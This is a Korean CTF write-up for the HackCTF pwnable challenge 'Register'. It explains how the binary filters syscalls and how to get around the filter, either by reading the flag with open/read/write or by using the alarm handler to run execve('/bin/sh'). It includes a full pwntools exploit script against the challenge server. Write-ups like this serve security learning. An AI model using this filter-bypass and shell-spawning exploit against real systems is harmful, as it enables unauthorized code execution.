본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) Register 풀이

by snwo 2020. 9. 10.

Main 함수다. 5초뒤에 alarm signal (14) 를 보낸다.

 

main 에서 호출하는 build 함수인데, 

alarm signal(14) 에 대한 핸들러를 설정하고,

루프문에서 get_obj 함수로 obj 부터 obj+48 까지 입력을 받는다.

 

vaildate_syscall_obj() 함수를 호출해서, 리턴값이 0 이면,

alarm signal(14) 을 보내서, alarm handler (syscall) 을 호출해준다.


alarm signal(14) 에 대한 handler 이 호출하는 함수이다. 인자로는 전역변수 obj 의 offset 을 주고,

obj ~ obj + 48 까지 순서대로 rax, rdi, rsi, rdx, rcx, r8, r9 에 넣고 , syscall 을 해준다.


obj(rax)0 (read), 1 (write), 2 (open), 60 (exit) 일때 0 을 리턴해서 syscall 할 수 있게 해준다.

다른값을 입력하면 입력을 다시 받는다.


Solution 1

그동안 문제를 풀면서 flag 파일의 이름이 flag 인것을 알고 있으니, flag 파일을 orw (open,write,read) 할 수 있다.

open( address of r8, 0 (readonly) ), r8->0x67616c66 ('flag') , # file disk 3 에 flag 파일이 열린다.

read( 3, bss, 0x40 ), # bss 빈공간에 flag 파일을 0x40 만큼 읽어온다.

write( 1, bss, 0x40 ), # bss 공간에 입력된 flag 파일의 내용을 표준출력으로 출력한다.

Solution 2

read(0,bss,8), #bss 빈공간에 /bin/sh 를 입력받는다

execve(bss,0,0) #execve 로 쉘을 실행할수있도록 인자를 맞춘다.

 

!! 잠시만요, execve syscall (59) 는 필터링 되어있어서 값을 다시 입력받잖아요 ??

 

main 함수를 다시 보시면 아시겠지만, 5초뒤에 alarm signal 이 발생되어 handler 가 호출됩니다.

execve('/bin/sh',0,0) 을 실행시키기 위한 인자를 맞춰놓고, 프로그램은 다시 입력을 받지만,

obj+48 까지 인자를 세팅된 상태이고, 초기화되지 않으니, 다시 입력을 하지않고 5초를 기다리면,

handler 가 호출되어 쉘을 딸 수 있게됩니다.


from pwn import *
#r=process("./register")
r=remote("ctf.j0n9hyun.xyz",3026)

obj=0x6010A0 #rax 0,1,2 allowed
rdi=0x6010A8
rsi=0x6010B0
rdx=0x6010B8
rcx=0x6010C0
r8=0x6010C8
r9=0x6010D0
context.log_level='debug'
bss=0x6010e0
def send(payload):
    r.sendlineafter("RAX: ",payload[0])
    r.sendlineafter("RDI: ",payload[1])
    r.sendlineafter("RSI: ",payload[2])
    r.sendlineafter("RDX: ",payload[3])
    r.sendlineafter("RCX: ",payload[4])
    r.sendlineafter("R8: ",payload[5])
    r.sendlineafter("R9: ",payload[6])

##Solution 1
send(['2',str(r8),'0','0','0',str(0x67616c66),'0']) # open(0x6010c8(r8),0(read_onlye)) (r8='flag')
send(['0','3',str(bss),str(0x40),'0','0','0'])  #read(3,bss,0x40)
send(['1','1',str(bss),str(0x40),'0','0','0'])  #write(1,bss,0x40)

##Solution 2
#send(['0','0',str(bss),'8','0','0','0'])       #read(0,bss,8)
#r.send('/bin/sh\x00')                          
#sleep(4)
#send(['59',str(bss),'0','0','0','0','0'])      #execve('/bin/sh',0,0)

r.interactive()